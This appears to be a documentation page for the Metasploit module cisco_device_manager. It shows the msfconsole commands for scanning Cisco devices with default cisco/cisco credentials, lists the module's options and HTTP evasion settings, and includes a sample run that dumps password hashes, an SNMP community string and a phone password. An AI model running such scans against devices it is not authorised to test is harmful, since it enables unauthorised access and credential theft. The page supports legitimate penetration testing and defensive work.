Cisco Device HTTP Device Manager Access - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/cisco_device_manager metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco Device HTTP Device Manager Access
Module: auxiliary/scanner/http/cisco_device_manager
Source code: modules/auxiliary/scanner/http/cisco_device_manager.rb
Disclosure date: 2000-10-26
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2000-0945
This module gathers data from a Cisco device (router or switch) with the device manager web interface exposed. The HttpUsername and HttpPassword options can be used to specify authentication.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/cisco_device_manager
msf auxiliary(cisco_device_manager) > show options
... show and set options ...
msf auxiliary(cisco_device_manager) > set RHOSTS ip-range
msf auxiliary(cisco_device_manager) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(cisco_device_manager) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(cisco_device_manager) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(cisco_device_manager) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module scans for the presence of the HTTP interface for a cisco device and attempts to enumerate it using basic authentication.
Vulnerable Application
Any Cisco networking device with the HTTP inteface turned on.
Verification Steps
- Enable the web interface on a cisco device
ip http server
- Start msfconsole
- Do:
use auxiliary/scanner/http/cisco_device_manager
- Do:
set RHOSTS [IP]
- Do:
run
Options
HttpUsername
Username to use for basic authentication. Default value is cisco
HttpPassword
Password to use for basic authentication. Default value is cisco
Scenarios
Tested on Cisco UC520-8U-4FXO-K9 running IOS 12.4
msf5 > use auxiliary/scanner/http/cisco_device_manager
msf5 auxiliary(scanner/http/cisco_device_manager) > set rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 auxiliary(scanner/http/cisco_device_manager) > set vebose true
vebose => true
msf5 auxiliary(scanner/http/cisco_device_manager) > run
[+] 2.2.2.2:80 Successfully authenticated to this device
[+] 2.2.2.2:80 Processing the configuration file...
[+] 2.2.2.2:80 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
[+] 2.2.2.2:80 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
[+] 2.2.2.2:80 SNMP Community (RO): public
[+] 2.2.2.2:80 ePhone Username 'phoneone' with Password: 111111
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/cisco_device_manager auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/cisco_device_manager
msf6 auxiliary(scanner/http/cisco_device_manager) > show info
Name: Cisco Device HTTP Device Manager Access
Module: auxiliary/scanner/http/cisco_device_manager
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2000-10-26
Provided by:
hdm <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword cisco yes The HTTP password to specify for basic authentication
HttpUsername cisco yes The HTTP username to specify for basic authentication
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module gathers data from a Cisco device (router or switch) with
the device manager web interface exposed. The HttpUsername and
HttpPassword options can be used to specify authentication.
References:
http://www.securityfocus.com/bid/1846
https://nvd.nist.gov/vuln/detail/CVE-2000-0945
OSVDB (444)
Module Options
This is a complete list of options available in the scanner/http/cisco_device_manager auxiliary module:
msf6 auxiliary(scanner/http/cisco_device_manager) > show options
Module options (auxiliary/scanner/http/cisco_device_manager):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword cisco yes The HTTP password to specify for basic authentication
HttpUsername cisco yes The HTTP username to specify for basic authentication
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/cisco_device_manager auxiliary module:
msf6 auxiliary(scanner/http/cisco_device_manager) > show advanced
Module advanced options (auxiliary/scanner/http/cisco_device_manager):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/cisco_device_manager module can do:
msf6 auxiliary(scanner/http/cisco_device_manager) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/cisco_device_manager auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/cisco_device_manager) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> Failed to authenticate to this device
Here is a relevant code snippet related to the "<RHOST>:<RPORT> Failed to authenticate to this device" error message:
46: 'uri' => "/exec/show/version/CR",
47: 'method' => 'GET'
48: }, 20)
49:
50: if res and res.code == 401
51: print_error("#{rhost}:#{rport} Failed to authenticate to this device")
52: return
53: end
54:
55: if res and res.code != 200
56: print_error("#{rhost}:#{rport} Unexpected response code from this device #{res.code}")
<RHOST>:<RPORT> Unexpected response code from this device <RES.CODE>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> Unexpected response code from this device <RES.CODE>" error message:
51: print_error("#{rhost}:#{rport} Failed to authenticate to this device")
52: return
53: end
54:
55: if res and res.code != 200
56: print_error("#{rhost}:#{rport} Unexpected response code from this device #{res.code}")
57: return
58: end
59:
60: if res and res.body and res.body =~ /Cisco (Internetwork Operating System|IOS) Software/
61: print_good("#{rhost}:#{rport} Successfully authenticated to this device")
<RHOST>:<RPORT> Error: could not retrieve the IOS configuration
Here is a relevant code snippet related to the "<RHOST>:<RPORT> Error: could not retrieve the IOS configuration" error message:
86: if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)/mi
87: config = $2.gsub(/<\/[A-Z].*/i, '').strip
88: print_good("#{rhost}:#{rport} Processing the configuration file...")
89: cisco_ios_config_eater(rhost, rport, config)
90: else
91: print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")
92: end
93:
94: end
95:
96: end
Go back to menu.
Related Pull Requests
- #14696 Merged Pull Request: Zeitwerk rex folder
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10798 Merged Pull Request: Cisco device manager update
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1482 Merged Pull Request: Unmerge #1476 and #1444
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
References
- BID-1846
- CVE-2000-0945
- OSVDB (444)
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/cisco_asa_asdm
- auxiliary/scanner/http/cisco_asa_asdm_bruteforce
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/http/cisco_directory_traversal
- auxiliary/scanner/http/cisco_firepower_download
- auxiliary/scanner/http/cisco_firepower_login
- auxiliary/scanner/http/cisco_ios_auth_bypass
- auxiliary/scanner/http/cisco_ironport_enum
- auxiliary/scanner/http/cisco_nac_manager_traversal
- auxiliary/scanner/http/cisco_ssl_vpn
- auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
- auxiliary/scanner/ike/cisco_ike_benigncertain
- auxiliary/scanner/misc/cisco_smart_install
- auxiliary/scanner/snmp/cisco_config_tftp
- auxiliary/scanner/snmp/cisco_upload_file
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/networking/cisco_asa_extrabacon
- auxiliary/admin/networking/cisco_config
- auxiliary/admin/networking/cisco_dcnm_auth_bypass
- auxiliary/admin/networking/cisco_dcnm_download
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
- auxiliary/dos/cisco/cisco_7937g_dos
- auxiliary/dos/cisco/cisco_7937g_dos_reboot
- auxiliary/gather/cisco_pvc2300_download_config
- auxiliary/gather/cisco_rv320_config
- auxiliary/voip/cisco_cucdm_call_forward
- auxiliary/voip/cisco_cucdm_speed_dials
- auxiliary/dos/cisco/ios_http_percentpercent
- auxiliary/dos/cisco/ios_telnet_rocem
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
Authors
- hdm
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.